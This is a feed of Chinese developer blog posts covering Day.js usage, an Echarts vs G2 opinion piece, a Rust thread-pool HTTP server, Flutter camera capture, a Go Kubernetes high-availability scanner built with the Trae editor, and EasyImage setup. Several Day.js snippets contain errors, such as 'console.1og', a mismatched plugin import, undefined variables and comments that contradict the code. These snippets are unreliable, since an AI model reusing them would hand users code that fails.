console.log("dayjs().get('month'):", dayjs().get("month")); //月 [0,11] 0表示1月
console.log("dayjs().get('date'):", dayjs().get("date")); //日[1,31]
console.log("dayjs().get('hour'):", dayjs().get("hour")); //时 [0,23]
console.log("dayjs().get('minute'):", dayjs().get("minute")); //分 [0,59]
console.log("dayjs().get('second'):", dayjs().get("second")); //秒 [0,59]
console.log("dayjs().get('millisecond'):", dayjs().get("millisecond")); //毫秒[0,999]
console.log("dayjs().get('day'):", dayjs().get("day")); //星期几 [0,6]。0(星期日)到6(星期六)

这里需要着重注意的是,获取月份时返回的月份值比实际月份小1,即当前月份为11月时,month() 返回的值为10。

加减指定的时间

序号方法简要说明
1add增加时间并返回一个新的 Day.js 对象
2subtract减少时间并返回一个新的 Day.js 对象
const addedTime = dayjs().add(7, 'days');
console.log(addedTime.format('YYYY-MM-DD')); // 输出添加 7 天后的日期,如:2024-05-07

const subtractTime = dayjs().subtract(7, 'year')
console.log(subtractTime.format('YYYY-MM-DD')); // 输出添加 7 天前的日期,如:2024-05-01

时间的开始、结束

序号方法简要说明
1startOf返回当前时间的开始时间的 Day.js() 对象,如月份的第一天。
2endOf返回当前时间的结束时间的 Day.js() 对象,如月份的最后一天。
dayjs().startOf('year');
dayjs().startOf('month')
// 获取当天的开始时间,返回当天的0点0分0秒
dayjs().endOf('day')

dayjs().endOf('month');
dayjs().endOf('year')
// 获取当天的结束时间,返回当天的23点59分59秒999毫秒
dayjs().endOf('day')

2.3 日期格式化

  当解析和操作完成后,可能需要一些方式来格式化展示 Day.js 对象。

基本格式化

  根据传入的占位符返回格式化后的日期。例如:

import dayjs from "dayjs";

const currentDate = dayjs();

console.log(currentDate.format());// 默认返回的是 ISO8601 格式字符串
console.log(currentDate.format('YYYY-MM-DD')); // 输出当前日期,如:2022-11-09
console.log(currentDate.format('HH:mm:ss')); // 输出当前时间,如:14:30:00
console.log(currentDate.format('YYYY-MM-DD HH:mm:ss')); // 输出当前日期,如:2022-11-09 14:30:00
console.log(dayjs('2022-11-09').format('YYYY-MM-DD')); // 输出指定日期,如:2022-11-09

  支持的常用格式化占位符列表:

标识示例描述
YY18年,两位数
YYYY2018年,四位数
M1-12月,从1开始
MM01-12月,两位数
MMMJan-Dec月,英文缩写
MMMMJanuary-December月,英文全称
D1-31
DD01-31日,两位数
d0-6一周中的一天,星期天是 0
ddSu-Sa最简写的星期几
dddSun-Sat简写的星期几
ddddSunday-Saturday星期几,英文全称
H0-23小时
HH00-23小时,两位数
h1-12小时, 12 小时制
hh01-12小时, 12 小时制, 两位数
m0-59分钟
mm00-59分钟,两位数
s0-59
ss00-59秒,两位数
AAM / PM上/下午,大写
aam / pm上/下午,小写

相对时间

方法简要说明
fromNow返回现在到当前实例的相对时间。
from返回指定时间到当前实例的相对时间。
toNow返回当前实例到现在的相对时间。
to返回当前实例到指定时间的相对时间。

【注意】此功能依赖 RelativeTime 插件

import relativeTime from "dayjs/plugin/relativeTime";
dayjs.extend(relativeTime);

// 相对当前时间(前)
dayjs('1999-01-01').fromNow();

// 相对指定时间(前)
var a = dayjs('2000-01-01');
dayjs('1999-01-01').from(a);

// 相对当前时间(后)
dayjs('1999-01-01').toNow();

// 相对指定时间(后)
var b = dayjs('2000-01-01');
dayjs('1999-01-01').to(a);

两个日期之间的差值

序号方法简要说明
1diff返回指定单位下两个日期时间之间的差异,默认单位是毫秒。
const date1 = dayjs('2019-01-25')
const date2 = dayjs('2018-06-05')

console.log("time1:", time1);
console.log("time2:", time2);
console.log("time1和time2相差多少hour:", time2.diff(time1, "hour"));
console.log("time1和time2相差多少minute:", time2.diff(time1, "minute"));
console.log("time1和time2相差多少second:", time2.diff(time1, "second"));

  默认情况下 diff 会将结果进位成整数,如果要得到一个浮点数,将 true 作为第三个参数传入。例如:

const date1 = dayjs('2019-01-25')
date1.diff('2018-06-05', 'month', true)

日期转dayjs对象

简要说明
valueOf()返回当前实例的 UNIX 时间戳,13位数字,毫秒
unix()返回当前实例的 UNIX 时间戳,10位数字,秒。
daysInMonth()获取月天数
toDate()转Date
toArray()返回一个包含各个时间信息的 Array,此功能依赖 ToArray 插件
toJSON()序列化为 ISO 8601 格式的字符串。
toISOString()返回一个 ISO 8601 格式的字符串。
toObject()返回包含时间信息的 Object,此功能依赖 ToObject 插件
toString()返回包含时间信息的 string

2.4 日期比较

简单日期比较

序号方法简要说明
1isBefore检查一个 Day.js对象是否在另一个 Day.js 对象时间之前
2isAfter检查一个 Day.js对象是否在另一个 Day.js 对象时间之后。
3isSame检查一个 Day.js对象是否与另一个 Day.js 对象时间相同。
console.log("当前时间:",dayjs().format("YYYY-MM-DD"))
console.1og("当前时间<2022-01-01 吗):",dayjs().isBefore(dayjs('2022-01-01')))
console.log("当前时间>2022-01-01 吗):",dayjs().isAfter(dayjs('2022-01-01')
console.1og("当前时间=2022-01-01 吗):",dayjs().isSame(dayjs('2022-01-01')))

是否相同或之前

  这表示 Day.js 对象是否和另一个提供的日期时间相同或在其之前。注意,此功能依赖 IsSameOrBefore 插件。

import isBetween from "dayjs/plugin/isBetween";
dayjs.extend(isSameOrBefore)

dayjs().isSameOrBefore(dayjs('2011-01-01')) // 默认毫秒

  如果想使用除了毫秒以外的单位进行比较,则将单位作为第二个参数传入。例如:

dayjs().isSameOrBefore('2011-01-01', 'year')

是否相同或之后

  这表示 Day.js 对象是否和另一个提供的日期时间相同或在其之后。注意,此功能依赖 IsSameOrAfter 插件。

import isSameOrAfter from "dayjs/plugin/isSameOrAfter";
dayjs.extend(isSameOrAfter)

dayjs().isSameOrAfter(dayjs('2011-01-01')) // 默认毫秒

  如果想使用除了毫秒以外的单位进行比较,则将单位作为第二个参数传入。例如:

dayjs().isSameOrAfter('2011-01-01', 'year')

检查日期是否在某个范围内

序号方法简要说明
1isBetween表示 Day.js 对象是否在其他两个的日期时间之间,注意,此功能依赖 IsBetween 插件。
import isBetween from "dayjs/plugin/isBetween";
dayjs.extend(isBetween)

const targetDate = dayjs('2024-04-30');
const startDate = dayjs('2024-04-01');
const endDate = dayjs('2024-05-01');

const isWithinRange = targetDate.isBetween(startDate, endDate);
console.log(isWithinRange); // 输出 true,因为目标日期在范围内

  如果想使用除了毫秒以外的单位进行比较,则将单位作为第三个参数传入。例如:

dayjs().isBetween('2010-10-19', '2010-10-25', 'year')

2.5 其他

是否是Day.js

  这表示一个变量是否为 Day.js 对象。例如:

dayjs.isDayjs(dayjs()) // true
dayjs.isDayjs(new Date()) // false

是否闰年

  查询 Day.js 对象的年份是否是闰年。注意,此功能依赖于 IsLeapYear 插件。例如:

import isLeapYear from "dayjs/plugin/isLeapYear";
dayjs.extend(isLeapYear)

dayjs('2000-01-01').isLeapYear() // true

三、附录

整合了部分常用方法的示例程序:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Day.js常用方法总结</title>
    <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script>
  </head>
  <body>
    <script>
      console.log("########## 获取当前时间(返回dayjs对象) ##########");
      console.log(dayjs());
      console.log("########## 获取当前时间(返回原生Date对象) ##########");
      console.log(dayjs().toDate());
      console.log("########## 获取当前时间(年月日时分秒,字符串) ##########");
      console.log(dayjs().format("YYYY-MM-DD HH:mm:ss"));
      console.log("########## 获取当前时间(年月日,字符串) ##########");
      console.log(dayjs().format("YYYY-MM-DD"));
      console.log("########## 获取时间戳 (秒) ##########");
      console.log(dayjs().unix());
      console.log("########## 获取时间戳 (毫秒) ##########");
      console.log(dayjs().valueOf());
      console.log("########## 年 ##########");
      console.log(dayjs().year());
      console.log("########## 月 ##########");
      console.log(dayjs().month());
      console.log("########## 日 ##########");
      console.log(dayjs().date());
      console.log("########## 时 ##########");
      console.log(dayjs().hour());
      console.log("########## 分 ##########");
      console.log(dayjs().minute());
      console.log("########## 秒 ##########");
      console.log(dayjs().second());
      console.log("########## 毫秒 ##########");
      console.log(dayjs().millisecond());
      console.log("########## 在日期的基础上加上7天 ##########");
      console.log(dayjs("2022-11-10").add(7, "day"));
      console.log("########## 获取当天的开始时间,并格式化 ##########");
      console.log(dayjs().startOf("day").format("YYYY-MM-DD HH:mm:ss.SSS"));
      console.log("########## 获取当天的结束时间,并格式化 ##########");
      console.log(dayjs().startOf("day").format("YYYY-MM-DD HH:mm:ss.SSS"));
      console.log("########## 获取两个日期间的时间差 ##########");
      const date1 = dayjs("2022-11-10");
      const date2 = dayjs("2022-10-10");
      console.log(date1.diff(date2, "day"));
    </script>
  </body>
</html>

四、总结

  在 Vue 项目中使用 Day.js 库非常简单,非常适合在 Vue3 和 Vue 框架中处理日期和时间问题。通过本文的介绍,我们了解了 Day.js 的基本使用,当然还可以根据 Day.js 的文档自定义和使用更多的日期处理方法和格式化选项,可以更好地理解和应用 Day.js 库,提升 Vue 项目的日期处理能力。

image

by 独泪了无痕 at January 22, 2025 11:34 AM

Echarts vs G2

先上结论

直接上Echarts,不要犹豫,犹豫就是浪费自己的生命!除非是绘图大佬,比如d3用户!

简单来说前者是面向官网编程,后者是面向源码编程!

都没用过

如果都没有用过,直接上Echarts,不要浪费对比时间!

只用过Echarts

如果用过Echarts,不要浪费自己经验,让你的经验产生更多的价值!

只用过G2

如果还没用过Echarts,对比完会就会发现,Echarts有多好!

都用过

都用过的人,还要继续选择G2,真大佬!

G2 缺点

这些缺点来源于G2实现一个chart性能优化的填坑总结。

1. 文档

首当其冲是官方文档,文档比较鸡肋。

  • 文档介绍概念,缺少详细说明
  • 文档之间相互跳转,但是找不到详情介绍,比如某个函数的参数是什么?很难找到,只能被迫翻源码

2. 可读性

暴露的公共接口名称过于抽象化,只能参考官方示例,然后比葫芦画瓢,短时间内无法自由组合”创造”新功能

3. 语法问题

  • 虽然支持选项式和组合式两种方式,但是选项式的demo少得可怜
  • 组合式很容易误导多种图形渲染只能多次提交渲染,但是等到数据分组很多时候,多次添加mark是性能炸弹,优化方式就是合并提交,但是没有找到如何做

4. 性能相关优化功能缺失

  • 分层渲染,动静分离,提升渲染性能
  • 增量渲染,大数据量分批渲染,减少阻塞时间

G2 优点

首先能接受上边的缺点,还要选它,剩下的全是优点😁

by 好_快 at January 22, 2025 11:30 AM

juejin backend

使用 rust 创建多线程 http-server

rust 编写一个 http 服务器

fn main() -> std::io::Result<()> {
    let listener = TcpListener::bind("127.0.0.1:8080")?;
    let pool = ThreadPool::new(4);
    for stream in listener.incoming().take(4) {
        let stream = stream.unwrap();
        pool.execute(move || handle_client(stream));
    }
    Ok(())
}

listener.incoming() 返回一个迭代器,可以持续不断地接受新的 TCP 连接。这个迭代器理论上是无限的,会一直等待并接受新的连接

.take(4) 是对这个迭代器的限制操作,最多接受 4 个客户端连接

线程池创建

创建一个线程池,有两个属性 workerssenderworkers 是一个 Vec,存放所有的工作线程,sender 是一个 mpsc::Sender<Message>,用于发送任务给工作线程

pub struct ThreadPool {
    workers: Vec<Worker>,
    sender: mpsc::Sender<Message>,
}

给这个结构体创建两个关联函数 newexecutenew 用于创建一个新的线程池,execute 用于向线程池中的工作线程发送任务

impl ThreadPool {
    pub fn new(size: usize) -> Self {
        assert!(size > 0);
        let (sender, receiver) = mpsc::channel();
        let receiver = Arc::new(Mutex::new(receiver));
        let mut workers = Vec::with_capacity(size);

        for id in 0..size {
            workers.push(Worker::new(id, Arc::clone(&receiver)));
        }

        ThreadPool { workers, sender }
    }

    pub fn execute<F>(&self, f: F)
    where
        F: FnOnce() + Send + 'static,
    {
        let job = Box::new(f);
        self.sender.send(Message::NewJob(job)).unwrap();
    }
}

assert!

assert! 这个宏,主要用于开发和测试阶段,断言失败会导致程序 panic

release 模式下,assert! 会被移除,不会对程序产生任何影响,所以不要在 assert! 中写任何可能会影响程序逻辑的代码

在生产环境中,应该使用适当的错误处理机制(如 ResultOption

mpsc

mpsc (Multiple Producer, Single Consumer) 是 Rust 标准库提供的一个多生产者单消费者通道

let (sender, receiver) = mpsc::channel();
  • sender: 发送端,可以克隆(多个生产者)
  • receiver: 接收端,不能克隆(单个消费者)
  1. 基本使用
fn main() {
    // 创建一个通道,返回发送者和接收者
    let (sender, receiver) = mpsc::channel();

    // 创建一个新线程
    thread::spawn(move || {
        let messages = vec!["你好", "世界", "!"];

        // 发送端发送数据
        for msg in messages {
            sender.send(msg).unwrap();
        }
    });

    // 主线程接收数据
    for received in receiver {
        println!("收到: {}", received);
    }
}
  1. 多线程发送者,sender 可以被克隆为 sender1sender2,然用不同的线程发送消息,在 receiver 中接收消息
fn main() {
    let (sender, receiver) = mpsc::channel();

    // 克隆发送者
    let sender1 = sender.clone();
    let sender2 = sender.clone();

    // 线程1
    thread::spawn(move || {
        sender1.send("来自线程1").unwrap();
    });

    // 线程2
    thread::spawn(move || {
        sender2.send("来自线程2").unwrap();
    });

    // 原始发送者
    sender.send("来自主线程").unwrap();

    // 接收消息
    for _ in 0..3 {
        println!("{}", receiver.recv().unwrap());
    }
}
  1. 同步发送

使用 sync_channel 创建一个同步通道,接收一个缓冲区,当缓冲区满时,生产者会被阻塞直到有空间

fn main() {
    // 创建一个容量为 2 的缓冲通道
    let (sender, receiver) = mpsc::sync_channel(2);

    // 生产者线程
    thread::spawn(move || {
        for i in 1..=5 {
            println!("生产者: 正在发送数据 {}", i);
            sender.send(i).unwrap();
            println!("生产者: 数据 {} 已发送", i);
        }
    });

    // 消费者线程故意慢一点处理
    thread::spawn(move || {
        for msg in receiver {
            println!("消费者: 收到数据 {}", msg);
            // 模拟处理数据的耗时
            thread::sleep(Duration::from_secs(1));
        }
    });

    // 让主线程等待一会
    thread::sleep(Duration::from_secs(6));
}
  1. 多线程同步发送
fn main() {
    // 创建一个容量为 2 的缓冲通道
    let (sender, receiver) = mpsc::sync_channel(2);

    // 创建多个生产者
    for id in 1..=3 {
        let sender = sender.clone();
        thread::spawn(move || {
            for i in 1..=3 {
                let data = format!("生产者{}-数据{}", id, i);
                println!("{}: 准备发送", data);
                sender.send(data.clone()).unwrap();
                println!("{}: 已发送", data);
                thread::sleep(Duration::from_millis(1500));
            }
        });
    }

    // 丢弃原始sender
    drop(sender);

    // 消费者
    let consumer = thread::spawn(move || {
        for received in receiver {
            println!("消费者: 正在处理 {}", received);
            thread::sleep(Duration::from_secs(1));
            println!("消费者: 处理完成 {}", received);
        }
    });

    // 等待消费者处理完所有数据
    consumer.join().unwrap();
}
  1. 当使用了 sender.clone() 后需要显示调用 drop(sender),否则 receiver 会一直等待

execute

execute 方法接受一个闭包,将其包装为 Box,然后发送给工作线程

这个闭包的类型是 F,它是一个泛型参数,有三个约束条件

  1. FnOnce(): 闭包没有参数,没有返回值
    • FnOnce 表示这个函数在执行时会消耗掉自己(只能调用一次)
    • () 表示这个函数没有参数
  2. Send: 闭包可以跨线程传递
    • 这是 Rust 并发安全的一个重要特质
    • 允许这个值在线程间安全移动所有权
  3. 'static: 闭包的生命周期是静态的
    • 意味着这个值可以存活任意长的时间
    • 通常用于需要长期存储或在线程间传递的值
pub fn execute<F>(&self, f: F)
where
    F: FnOnce() + Send + 'static,
{
    let job = Box::new(f);
    self.sender.send(Message::NewJob(job)).unwrap();
}

这里 where 的意思是泛型约束,等同于

pub fn execute<F: FnOnce() + Send + 'static>(&self, f: F) {
    let job = Box::new(f);
    self.sender.send(Message::NewJob(job)).unwrap();
}

创建工作线程

Worker 是一个工作线程,有两个属性 idthreadid 是线程的标识,thread 是一个 Option<thread::JoinHandle<()>>,用于存放线程句柄

struct Worker {
    id: usize,
    thread: Option<thread::JoinHandle<()>>,
}

Worker 创建一个关联函数 new,用于创建一个新的工作线程

因为 receiver 是个 Mutex 类型,所以需要调用 lock 方法获取锁,然后调用 recv 方法接收消息

消息类型 Message 是一个枚举类型,有两个成员 NewJobTerminateNewJob 用于接收新的任务,Terminate 用于终止线程

impl Worker {
    fn new(id: usize, receiver: Arc<Mutex<mpsc::Receiver<Message>>>) -> Worker {
        let thread = thread::spawn(move || loop {
            let message = receiver.lock().unwrap().recv().unwrap();
            match message {
                Message::NewJob(job) => {
                    println!("Worker {} receive a job.", id);
                    job();
                }
                Message::Terminate => {
                    println!("Worker {} receive terminate.", id);
                    break;
                }
            }
        });
        Worker {
            id,
            thread: Some(thread),
        }
    }
}

发送消息的消息的格式 Message::NewJob(job),结束表示的消息格式 Message::Terminate

type Job = Box<dyn FnOnce() + Send + 'static>;

enum Message {
    NewJob(Job),
    Terminate,
}

通过 match 匹配消息类型,如果是 NewJob 类型,就执行闭包,如果是 Terminate 类型,就退出循环

Drop

线程池创建后,如何优雅的关闭线程呢

rust 提供了一个 Drop trait 用于在值离开作用域时执行清理工作

我们给 ThreadPool 实现 Drop trait,当线程池离开作用域时,会自动调用 Drop traitdrop 方法

遍历所有 workers,向 sender 发送 Terminate 消息,然后等待所有线程结束,最后调用 join 方法等待线程结束

impl Drop for ThreadPool {
    fn drop(&mut self) {
        for _ in &mut self.workers {
            self.sender.send(Message::Terminate).unwrap();
        }

        for worker in &mut self.workers {
            if let Some(thread) = worker.thread.take() {
                thread.join().unwrap();
            }
        }
    }
}

这里要注意的是这两个 for 循环不能合并,因为合并后,可能会出现这种情况:

  • 发送一个终止信号
  • 立即等待该线程结束
  • 但其他线程还没收到终止信号

这就有可能导致死锁,所以这里必须保持两个独立的循环

源码

  1. http-server-thread-pool
  2. mpsc::sync_channel 使用
    1. 基本使用
    2. 多个发送者
    3. 同步发送
    4. 多个线程同步发送

by uccs at January 22, 2025 10:51 AM

juejin android

Flutter GetX 使用 Camera 实现拍照功能

需求

用前置摄像头采集用户头像

1. 添加所需依赖

运行 flutter pub add 将Camera模块其添加为依赖:

flutter pub add camera

2. 获取可用相机列表

使用相机首先要获取可用相机列表。

// Ensure that plugin services are initialized so that `availableCameras()`
// can be called before `runApp()`
WidgetsFlutterBinding.ensureInitialized();

// Obtain a list of the available cameras on the device.
final cameras = await availableCameras();

// Get a specific camera from the list of available cameras.
final firstCamera = cameras.first;

3. 创建并初始化 CameraController

在选择了一个相机后,你需要创建并初始化 CameraController。在这个过程中,与设备相机建立了连接并允许你控制相机并展示相机的预览帧流。

在使用相机前,请确保控制器已经完成初始化。因此,要等待前一个步骤创建 initialize() 执行完毕才去展示 CameraPreview

Future<void> _initCamera() async {
  List<CameraDescription> cameras = await availableCameras();
  CameraDescription frontCamera = cameras[0];
  for (var camera in cameras) {
    if (camera.lensDirection == CameraLensDirection.front) {
      frontCamera = camera;
      break;
    }
  }
  controller = CameraController(frontCamera, ResolutionPreset.max, enableAudio: false);
  try {
    // 初始化
    await controller.initialize();
    isCameraInitialized.value = true;
    applyEnabled.value = true;
  } on CameraException catch (e) {
    print(e);
  }
}

@override
void onInit() {
  _initCamera();
  super.onInit();
}

// 需要销毁Controller
@override
void onClose() {
  controller.dispose();
  super.onClose();
}

// 组件
Widget _buildCamera() {
  return Obx(() {
    if (!controller.isCameraInitialized.value) {
      return Container(
        color: Colors.black54,
        child: Center(
          child: CircularProgressIndicator(),
        ),
      );
    } else {
      return  CameraPreview(controller.controller);
    }
  });
}

注意

如果你没有初始化 CameraController,你就 不能 使用相机预览和拍照。

4. 使用 CameraController 拍照

接着就可以调用controller.takePicture()来拍照,它获得一个XFile对象,直接就可以通过path展示出来。

Future<void> takePicture() async {
  if (!isCameraInitialized.value) {
    return;
  }
  applyEnabled.value = false;
  try {
    final XFile file = await controller.takePicture();
    imagePath.value = file.path;
    });
  } on CameraException catch (e) {
    applyEnabled.value = true;
  }
}

// 展示图片
Widget _buildShowPicture() {
  return Obx(
   () => controller.imagePath.value.isEmpty
       ? SizedBox()
       : Image.file(
           File(controller.imagePath.value),
           width: 100,
           fit: BoxFit.fitWidth,
         ),
 );
}

// 拍照
FloatingActionButton(
  // Provide an onPressed callback.
  onPressed: () async {
    controller.apply();
  },
  child: const Icon(Icons.camera_alt),
)

问题

以上已经可以拍照了,但是会发现预览镜头是横向的,拍摄出来的图片是正常竖屏的,所以需要将预览镜头进行旋转。

Widget _buildCamera() {
  return Obx(() {
    if (!controller.isCameraInitialized.value) {
      return Container(
        color: Colors.black54,
        child: Center(
          child: CircularProgressIndicator(),
        ),
      );
    } else {
      return Transform.rotate(
        angle: -pi / 2, // 将预览画面旋转 90 度
        child: Center(
            child: AspectRatio(
              aspectRatio: controller.controller.value.aspectRatio,
              child: CameraPreview(controller.controller),
            ),
         ),
      );
    }
  });
}

同样,在预览中有可能会出现拉伸现象,所以需要进行缩放。

Widget _buildCamera() {
  return Obx(() {
    if (!controller.isCameraInitialized.value) {
      return Container(
        color: Colors.black54,
        child: Center(
          child: CircularProgressIndicator(),
        ),
      );
    } else {
      return Transform.rotate(
        angle: -pi / 2, // 将预览画面旋转 90 度
        child: Transform.scale(
          scale: Get.pixelRatio,
          child: Center(
            child: AspectRatio(
              aspectRatio: controller.controller.value.aspectRatio,
              child: CameraPreview(controller.controller),
            ),
          ),
        ),
      );
    }
  });
}

这里有个疑问,采用final scale = Get.window.physicalSize / controller.value.previewSize.width 计算出来的 scale = 1, 但展示其实只有设备的一半左右,实际像素和展示像素不一致,故而采用Get.pixelRatio计算缩放。

by 真西西 at January 22, 2025 10:46 AM

juejin freebie

利用Trae编辑器高效快速实现高可用扫描工具

我正在参加Trae「超级体验官」创意实践征文

前言

这段时间,运维同事离职,接触运维工作一段时间了,为了了解项目的k8s服务是否具备高可用能力,我们需要进行高可用测试,整个过程需要使用到Go编程,由于笔者之前一直接触的是Python语言,Go语言正在学习中,为了更快实现高可用测试脚本,所以我们借用Trae编译器进行开发。

Trae是啥呢?

Trae是有用的编码伙伴。它提供了AI问答、代码自动完成和基于代理的AI编程功能等功能。在使用Trae开发项目时,可以与AI协作,提高开发效率。详细介绍可以参考官网:www.trae.ai/

准备条件

开发之前,需要先下载Trae,访问官网,下载安装包安装即可,还是比较简单的。需要注意的是,在笔者写文章的时候,还没有windows版本,只能使用Mac版本,windows用户可能需要等待一段时间,大概在节后会推出吧。

项目背景

开发脚本快速扫描K8s中的所有服务,找出哪些服务是不符合高可用设计的。

实现原理

在正式开发Kubernetes扫描工具时,需要遵循以下规则:

  • Pod生命周期对象:DaemonSet、Deployment和StatefulSet需要关注副本数量和Pod反亲和性,尤其是Deployment和StatefulSet。DaemonSet保证每个节点上有且只有一个Pod。
  • 探针设置:readiness探针必须设置,未设置时为错误(error);liveness探针未设置时可视为警告(warning),因为旧版本K8s可能因缺少探针导致重启问题。启动探针可选,视项目需求决定是否扫描。
  • 探针恢复时间:需要计算Pod异常状态的恢复时间,因为探针有检测延迟,高可用性测试中恢复时间是关键指标。
  • Job和CronJob:一般不在扫描范围内,因为它们属于离线业务。但需要扫描Pod是否配置了节点亲和性或选择器,防止Pod被随机调度到不适合的节点,保证集群稳定性。

新建项目

打开Trae,如截图所示

image.png

这里提供了三种方式,笔者这里选择打开文件夹,我预先新建了一个文件夹KubeWatch,这里直接打开即可。
打开时,还有一个提示,如下图

image.png

挺好的,还是注重安全隐私的。

登录使用AI

这个需要一些技术手段了,懂得都懂哈,不详细说了。登录之后,如下图所示

image.png

就可以让AI协助编程了。

代码实现

客户端的初始化

首先需要使用go实现k8s客户端的初始化,这里直接借助ai生成。如下图所示

image.png

点击应用,就直接帮我生成client.go文件,如下图所示

image.png

最后,你可以做一个判断,选择是否接受,笔者这里选择接受。基本逻辑已经有了。

mod管理依赖

我想要使用mod来管理依赖项,直接将问题抛给ai,如下图所示

image.png

此时,还有一个很方便的功能,直接点击运行即可操作成功,不需要自己照着命令敲,如下图所示

image.png 看到没有,运行之后,直接就生成了go.mod文件,这效率贼快。

遍历pod进行扫描

还是借助ai,问问它如何遍历,如图所示

image.png

还是给出了比较满意的答案,但这次我不采用,自己实现,让ai帮我解释,主要逻辑代码如下:

func (ha *HAScanner) Scan(pod *v1.Pod) (*HAAnalyzeResult, error) {

    result := &HAAnalyzeResult{}
    if len(pod.OwnerReferences) == 0 {
       return nil, nil
    }
    for _, o := range pod.OwnerReferences {
       if o.Kind == "Deployment" {
          deploy, err := ha.k8s.AppsV1().Deployments(pod.Namespace).Get(context.Background(), o.Name, metav1.GetOptions{})
          if err != nil {
             return nil, errors.Cause(err)
          }
          result.Name = deploy.Name
          result.Namespace = deploy.Namespace
          result.Kind = o.Kind
          result.Replicas = *deploy.Spec.Replicas
          if deploy.Spec.Template.Spec.Affinity == nil || deploy.Spec.Template.Spec.Affinity.PodAntiAffinity == nil {
             result.HasPodAntiAffinity = false
          } else {
             result.HasPodAntiAffinity = true
          }
       } else if o.Kind == "ReplicaSet" {
          replicaSet, err := ha.k8s.AppsV1().ReplicaSets(pod.Namespace).Get(context.Background(), o.Name, metav1.GetOptions{})
          if err != nil {
             return nil, errors.Cause(err)
          }
          result.Name = replicaSet.Name
          result.Namespace = replicaSet.Namespace
          result.Kind = o.Kind
          result.Replicas = *replicaSet.Spec.Replicas
          if replicaSet.Spec.Template.Spec.Affinity == nil || replicaSet.Spec.Template.Spec.Affinity.PodAntiAffinity == nil {
             result.HasPodAntiAffinity = false
          } else {
             result.HasPodAntiAffinity = true
          }
       } else if o.Kind == "StatefulSet" {
          statefulset, err := ha.k8s.AppsV1().StatefulSets(pod.Namespace).Get(context.Background(), o.Name, metav1.GetOptions{})
          if err != nil {
             return nil, errors.Cause(err)
          }
          result.Name = statefulset.Name
          result.Namespace = statefulset.Namespace
          result.Kind = o.Kind
          result.Replicas = *statefulset.Spec.Replicas
          if statefulset.Spec.Template.Spec.Affinity == nil || statefulset.Spec.Template.Spec.Affinity.PodAntiAffinity == nil {
             result.HasPodAntiAffinity = false
          } else {
             result.HasPodAntiAffinity = true
          }
       } else if o.Kind == "DaemonSet" {
          ds, err := ha.k8s.AppsV1().DaemonSets(pod.Namespace).Get(context.Background(), o.Name, metav1.GetOptions{})
          if err != nil {
             return nil, errors.Cause(err)
          }
          result.Name = ds.Name
          result.Namespace = ds.Namespace
          result.Kind = o.Kind
       } else {
          log.Infof("not support the kind, pod: %s, ns: %s", pod.Name, pod.Namespace)
          return nil, nil
       }
    }
    hasReadiness := false
    hasLiveness := false
    for _, c := range pod.Spec.Containers {
       if c.ReadinessProbe != nil {
          hasReadiness = true
          readiness := c.ReadinessProbe
          result.ReadinessTime = append(result.ReadinessTime, readiness.FailureThreshold*readiness.TimeoutSeconds+readiness.FailureThreshold*readiness.PeriodSeconds)
       }
       if c.LivenessProbe != nil {
          hasLiveness = true
          liveness := c.LivenessProbe
          result.LivenessTime = append(result.LivenessTime, liveness.FailureThreshold*liveness.TimeoutSeconds+liveness.FailureThreshold*liveness.PeriodSeconds)
       }
    }
    result.HasLiveness = hasLiveness
    result.HasReadiness = hasReadiness

    result.ScanTime = time.Now()
    if pod.Spec.NodeSelector == nil || len(pod.Spec.NodeSelector) == 0 {
       result.HasNodeAffinity = false
    } else {
       result.HasNodeSelector = true
    }
    return result, nil

}

编辑器中,选中这段代码,如下图所示

image.png

可以看到有两个按钮,我们是想让ai帮我解释,所以点击添加到对话,点完之后,如下图所示

image.png

可以看到对话框中,直接显示了选中代码的位置,然后就可以进行发问了,如下图所示

image.png

此时,可以直接点击应用,这样就可以变更原来选中的代码,变为增加注释的代码,如下图所示

image.png

当然,也对这段代码给出了合理的解释,下面是ai给的解释:

  1. 工作负载分析 :

    • 检查 Pod 的所属控制器(Deployment、ReplicaSet、StatefulSet、DaemonSet)
    • 获取工作负载的基本信息(名称、命名空间、副本数等)
    • 检查是否配置了 Pod 反亲和性(用于保证 Pod 分散部署)
  2. 健康检查分析 :

    • 检查容器是否配置了就绪探针(Readiness Probe)
    • 检查容器是否配置了存活探针(Liveness Probe)
    • 计算探针的检查总时间(失败阈值 × 超时时间 + 失败阈值 × 周期时间)
  3. 调度策略分析 :

    • 检查是否配置了节点选择器(NodeSelector)
    • 记录扫描时间戳

这个函数主要用于评估 Pod 的高可用性配置,包括:

  • 副本数量(确保服务可用性)
  • 反亲和性(确保 Pod 分散部署)
  • 健康检查(确保服务健康状态)
  • 调度策略(确保合理的 Pod 分布)
    这些信息可以用来评估工作负载的高可用性水平,帮助运维人员识别潜在的可用性风险。

解释的与我们项目预期实现效果是一样的,perfect

最后

在这篇文章中,我们深入探讨了如何利用Trae编辑器高效、快速地实现一个高可用的扫描工具。在实现过程中,我们见证了Trae在简化复杂任务、提高开发效率方面的出色表现。无论是对于新手还是有经验的开发者,Trae都是一个值得依赖的工具,能够帮助我们更快速地构建出更具稳定性和高效性的解决方案。通过这次实现,我对Trae的功能有了更深刻的理解,并且相信它会在未来的开发中持续发挥重要作用。

by 郝同学的测开笔记 at January 22, 2025 10:43 AM

使用easyimages部署个人图床服务

前言

最开始使用的 gitee 作为个人图床,但总觉得不踏实,gitee 毕竟是公开的仓库,而且还是国内的服务

这两天考虑部署 easyimage 个人图床的时候,使用 picgo + web-uploader ,发现图片无法正常上传

于是瞅了一下 picgo-plugin-gitee 插件的源码参考,不曾想上面赫然写着,图床这个在几年前就被 gitee 废掉了

还有一个重要的原因是自己手贱,本来想用 notepad++ 打开一个文本文件,结果给整到图床上去了

picgo 这个右键菜单 ”Upload pictures with PicGo” 也太便利了,竟然没对文件类型进行过滤就直接给上传了

文件虽然是删除了,也不是什么私密文件,但是 log 还在,万一哪天不小心把一些重要文件给上传就不好了

图床部署

开源的图床用的比较多的就是兰空和easyimage了,这里以easyiamge进行图床部署

官方地址 github.com/icret/EasyI…

代码下载后,放置于 phpstudy 的 WWW 目录下,新增一个站点指定目录就可以了

安装比较简单,不需要配置数据库什么的,打开站点首页,然后下一步基本就可以了

初始化一个管理员的账号密码

然后刷新首页,输入账号密码登录就可以了,登录后页面大致如下

可以在 “设置” 中进行更精细的配置,如显示权限,上传权限等

设置

